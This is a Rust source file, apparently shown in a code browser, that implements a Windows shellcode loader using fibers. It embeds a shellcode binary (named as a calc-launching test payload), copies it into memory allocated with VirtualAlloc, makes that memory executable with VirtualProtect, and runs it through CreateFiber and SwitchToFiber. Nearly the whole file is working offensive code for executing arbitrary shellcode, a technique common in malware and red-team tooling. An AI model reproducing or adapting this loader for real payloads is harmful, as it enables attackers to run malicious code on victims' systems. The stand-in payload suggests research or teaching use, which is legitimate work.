()
| 8 | |
| 9 | #[cfg(target_os = "windows")] |
| 10 | fn main() { |
| 11 | let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin"); |
| 12 | let shellcode_size = shellcode.len(); |
| 13 | |
| 14 | unsafe { |
| 15 | let main_fiber = ConvertThreadToFiber(null()); |
| 16 | if main_fiber.is_null() { |
| 17 | panic!("[-]ConvertThreadToFiber failed: {}!", GetLastError()); |
| 18 | } |
| 19 | |
| 20 | let addr = VirtualAlloc( |
| 21 | null(), |
| 22 | shellcode_size, |
| 23 | MEM_COMMIT | MEM_RESERVE, |
| 24 | PAGE_READWRITE, |
| 25 | ); |
| 26 | if addr.is_null() { |
| 27 | panic!("[-]VirtualAlloc failed: {}!", GetLastError()); |
| 28 | } |
| 29 | |
| 30 | let mut old = PAGE_READWRITE; |
| 31 | copy(shellcode.as_ptr(), addr.cast(), shellcode_size); |
| 32 | let res = VirtualProtect(addr, shellcode_size, PAGE_EXECUTE, &mut old); |
| 33 | if res == FALSE { |
| 34 | panic!("[-]VirtualProtect failed: {}!", GetLastError()); |
| 35 | } |
| 36 | |
| 37 | let func = transmute(addr); |
| 38 | let fiber = CreateFiber(0, func, null()); |
| 39 | if fiber.is_null() { |
| 40 | panic!("[-]CreateFiber failed: {}!", GetLastError()); |
| 41 | } |
| 42 | |
| 43 | SwitchToFiber(fiber); |
| 44 | SwitchToFiber(main_fiber); |
| 45 | } |
| 46 | } |
nothing calls this directly
no outgoing calls
no test coverage detected